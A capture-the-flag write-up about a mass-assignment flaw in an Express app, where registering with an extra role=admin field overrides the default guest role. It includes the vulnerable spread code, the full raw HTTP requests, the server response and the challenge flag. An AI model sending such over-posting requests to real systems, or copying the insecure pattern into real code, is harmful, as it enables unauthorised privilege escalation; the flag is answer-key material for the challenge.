Challenge Description
A simple Express authorization challenge where every new user should be a guest.
The application lets us register an account, but the flag is shown only to users whose role is admin. The provided source code reveals that the registration endpoint trusts extra fields from the request body.
Analysis & Solution
Over-post the role field so it replaces the default guest value.
users.set(user_data.username, {
role: "guest",
...user_data,
});
Object properties are applied from left to right. Because ...user_data comes after role: "guest", sending role=admin creates a second role property and the last value wins. The stored user therefore becomes an administrator. This is a mass assignment, or over-posting, vulnerability.
POST /register HTTP/1.1
Host: 34.170.146.252:27623
Content-Length: 50
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Origin: http://34.170.146.252:27623
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://34.170.146.252:27623/register
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
username=edmin&password=edmin&nickname=&role=adminThe server returns a username cookie and redirects to /. Reusing that cookie loads the modified user object, shows role: admin, and returns the flag.
GET / HTTP/1.1
Host: 34.170.146.252:27623
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://34.170.146.252:27623/register
Accept-Encoding: gzip, deflate, br
Cookie: username=edmin
If-None-Match: W/"5c-DOwpe/4ysnoZEdEKi+GWoN4B8T4"
Connection: keep-alive
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 144
<h1>Hello edmin ()</h1>
<p>role: admin</p>
<p><b>Alpaca{This_is_badAss_mAss_Assignment}</b></p>
<a href="/logout">Logout</a>Flag
The verified flag returned by the administrator response.
Alpaca{This_is_badAss_mAss_Assignment}